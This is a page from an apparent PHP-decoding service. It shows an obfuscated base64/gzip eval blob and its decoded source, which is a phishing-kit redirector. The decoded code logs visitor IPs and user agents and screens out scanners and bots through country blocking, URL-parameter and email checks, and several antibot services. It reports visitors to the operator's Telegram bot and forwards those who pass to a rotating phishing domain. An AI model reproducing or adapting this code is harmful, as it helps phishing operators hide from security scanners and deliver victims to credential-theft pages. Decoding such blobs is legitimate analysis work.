Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(gzuncompress(base64_decode('eJwN0keOrFYAAMDj/BmxICdZXsAjZ5rMxiJDAw1NhtP7X6FU1ZENP82zf..

Decoded Output download

$remoteip = isset($_SERVER["HTTP_CF_CONNECTING_IP"]) ? $_SERVER["HTTP_CF_CONNECTING_IP"] : $_SERVER["REMOTE_ADDR"];
$u_agent = $_SERVER["HTTP_USER_AGENT"];




function debug_teleg($msg)
{
    global $bot_token, $chat_id, $enable_debug;
    if ($enable_debug) {
        curll("https://api.telegram.org/bot" . $bot_token . "/sendMessage?chat_id=" . $chat_id . "&text=" . $msg . "&disable_web_page_preview=True&parse_mode=HTML");
    }

}



if (!trim(file_get_contents($urls_file))){
    teleg("url list file is emtpy, add more urls");
    redirect_req($failed_url);
    exit();
}


keeplog($record_visit,$remoteip,$u_agent);

if (strlen($url_prevent) > 0) {
    if (!isset($_GET[$url_prevent])) {
        debug_teleg("blocked by url_parameter, user must pass ?". $url_prevent. " to the url " .blocked_res($remoteip));
        redirect_req($failed_url);
        exit();
        

    }
}

if ($is_Country) {
    if (country_blocking($remoteip, $country_code)) {
        debug_teleg("blocked by Country_blocking, user is visiting from a blocked country ".blocked_res($remoteip));
        redirect_req($failed_url);
        exit();
    }
}


if ($is_emailBlocking) {
    if (email_blocking()) {
        debug_teleg("blocked by email_blocking, user didnt add email to url using [email protected] ".blocked_res($remoteip));
        redirect_req($failed_url);
        exit();

    }
}

if ($is_killbot) {
    if (kill_bot(urlencode($u_agent), $kill_bot_api, $remoteip)) {
        debug_teleg("blocked by killbot, please check killbot dashboard for more ".blocked_res($remoteip));
        redirect_req($failed_url);
        exit();
    }
}


if ($is_antibotpw) {
    if (antibotpw(urlencode($remoteip), $antibotpw_api, $remoteip)) {
        debug_teleg("blocked by killbot, please check antibotpw dashboard for more ".blocked_res($remoteip));
        redirect_req($failed_url);
        exit();
    }
}



if ($mustleak_bot_blocker){
    if (antibot($u_agent,$remoteip,$activation_key)){
        debug_teleg("blocked by mustleak antibot,  ".blocked_res($remoteip));
        redirect_req($failed_url);
        exit();
    }
}


if (redirect($url_check_timer, $activation_key)) {
    $grab_domain = read_json("domain");
    if ($direct_access_page){
        temp_ip($remoteip);
    }
    debug_teleg("a visitor is about to be sent to this page ".$grab_domain."  ".blocked_res($remoteip));
    if ($grecaptcha) {
        if (google_cap($grecaptcha_key, $grab_domain, $grecap_writeup, $activation_key, $generate_cap_timer)) {
            readfile($gcap);
        }
        readfile($gcap);
    } else {
        echo '<script>window.location.replace("' . $grab_domain . '" + window.location.search + "#" + window.location.hash.substr(1));</script>';
    }
}

Did this file decode correctly?

Original Code

eval(gzuncompress(base64_decode('eJwN0keOrFYAAMDj/BmxICdZXsAjZ5rMxiJDAw1NhtP7X6FU1ZENP82zf4ppnJdqXX/ybK0o4r+yKqay+vlTaTcbDtKBPYlbH9WxywNQMVk+DAwrcycqSxN46LenB0pvdEFcmSsTh8jr2tWEd4YOZkO4RDtv8Rcl7pB9ODv0fs4bHZqlo3XJDto3ApILojsGVjYS8gdqR2c2UVc8dxSIGHUyMjDalp3D6V+xnj5AIJwme/HP7l/wgX7vgWLrGEnj506vC++0dxYFLJuTL+BgzHiRa6xd9LDhfiQPWc83+BybyRQO4laNPqhhXwXQOqjkcgv2EIVRnsupO1zrLocewjOYo0MuVHyc2rgKFzeUj6jDvbPr/lCG4oiteYH7WHLj5mGmVsY8c7GmWtI3gDReqjaluemScm83/lQHxcVggvS4InHUuQwNxIJKnm0vmKzY0bwY0YTH4qd+hoo+vWJH3TBZmtrGv7ANT4t71A+U0jxyCGtyhOtKRcGWTYhvgC1Mki3ozUw8H+vjWzbOs/klkSqvy81he/EkoEvGjq4ac+N3EMvHNNNQVv0gGsYPM66vxR9McSIE/l1CvV+96yG3pBxs0jkABpm00rudzeJpHP28go+psWSRf0G71V+x3mKHA3ULoYz9lum4w2IFsVUK9gJDO2PkRc7JtIG1PU4RbjT+ylDJmQT5O9mEURWj01hAbZt3qAk0p9Nm6ruqtUbqwo2Qy2k8djoEqHpduxy+73GnWC9LP9tqyr4YCwgxPJKFAFjq4VSJR8p8SnlyKkwOiI2dOT76HC9PNf7qfpvCJLKg4ZHMeghNrCfZspgMktdeBYdtRvBk/f2BPA3/8gKtvEZ2pz+FZuMFQaB6nclQBQoHn2vaBpXSFqhZgRwLw6BeVcaffBU9vD102kFEbJ5IeoXFTKwVrfzeKA6gwtaNiBTrQiDfJ6aSkWhda7FGaGPEXu06BJYZz9XPOl6RgGtouVclIVs1BigNIzSkAc/MygoeYfXekBvYVHt6qSzShXFWq0AhIofkU97ybZSUidcoTZllr0LcDEuedREDm8NlYN7bghK607UQ0kED9aSDW3JuXrXaRKoaa2azNm0EhvdVtVPiGrcvhKjnxYQELtmQG3Mz9zp0W7Y1FkJtSIS1oixTtL0eflcr7TgXlSiTz76q+gp1Cu/MwKO+/kZmFWeLVZmR3jfV99zR5SChPOqF7LDZkVhAGh2K0i9dNk4uQTecIj97Q6eUEffNhuOoiYFmCnARgmRaVRa7I3BAyVeQ83ds+Zn1yaTnSIERGx3X1j6Vz6DgDF9XfZZpNKvAG001asIhxAY9YxnXxAOm4gpxFPNtlf4ISSQHdewxrJ5y3ZjiwNxnqpI5+PfP7+/vP/8DbaCzFQ==')));

Function Calls

gzuncompress 2
base64_decode 2

Variables

None

Stats

MD5 28df3b31082c53e5176711d55c8a119d
Eval Count 2
Decode Time 78 ms